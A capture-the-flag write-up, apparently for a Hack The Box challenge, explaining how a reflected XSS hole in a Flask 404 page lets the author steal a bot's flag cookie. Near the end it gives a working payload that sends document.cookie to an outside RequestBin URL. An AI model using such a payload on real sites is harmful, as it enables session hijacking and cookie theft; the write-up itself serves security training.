The challenge comes with the source code of the docker container.
It is a flask app that has an API on /api/submit
that checks if the variable url
of a POST request starts with http://
or https://
, and if it does, it sends a chrome bot, which has the flag as a cookie, to visit the site on the url
variable.
Flask app:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from flask import Flask, request, render_template
from urllib.parse import unquote
from bot import visit_report
app = Flask(__name__)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/api/submit", methods=["POST"])
def submit():
try:
url = request.json.get("url")
assert(url.startswith('http://') or url.startswith('https://'))
visit_report(url)
return {"success": 1, "message": "Thank you for your valuable submition!"}
except:
return {"failure": 1, "message": "Something went wrong."}
@app.errorhandler(404)
def page_not_found(error):
return "<h1>URL %s not found</h1><br/>" % unquote(request.url), 404
app.run(host="0.0.0.0", port=1337)
Bot:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.support.ui import WebDriverWait
def visit_report(url):
options = Options()
options.add_argument('headless')
options.add_argument('no-sandbox')
options.add_argument('disable-dev-shm-usage')
options.add_argument('disable-infobars')
options.add_argument('disable-background-networking')
options.add_argument('disable-default-apps')
options.add_argument('disable-extensions')
options.add_argument('disable-gpu')
options.add_argument('disable-sync')
options.add_argument('disable-translate')
options.add_argument('hide-scrollbars')
options.add_argument('metrics-recording-only')
options.add_argument('mute-audio')
options.add_argument('no-first-run')
options.add_argument('dns-prefetch-disable')
options.add_argument('safebrowsing-disable-auto-update')
options.add_argument('media-cache-size=1')
options.add_argument('disk-cache-size=1')
options.add_argument('user-agent=BugHTB/1.0')
browser = webdriver.Chrome('chromedriver', options=options, service_args=['--verbose', '--log-path=/tmp/chromedriver.log'])
browser.get('http://127.0.0.1:1337/')
browser.add_cookie({
'name': 'flag',
'value': 'CHTB{f4k3_fl4g_f0r_t3st1ng}'
})
try:
browser.get(url)
WebDriverWait(browser, 5).until(lambda r: r.execute_script('return document.readyState') == 'complete')
except:
pass
finally:
browser.quit()
We cannot send the bot to a site of ours and request the cookie because the cookie is owned by the http://127.0.0.1:1337/
site.
We see that the 404
page displays the path of the page to us, so we can try if it’s vulnerable to reflected XSS. Let’s navigate to http://127.0.0.1:1337/<script>Ealert('test')</script>
:
Reflected XSS
Nice, so we can get a RequestBin and try to give to the API the following url:
1
http://127.0.0.1:1337/<script>new Image().src="http://requestbin.net/r/mybin?c="+document.cookie;</script>
Request to RequestBin from the bot browser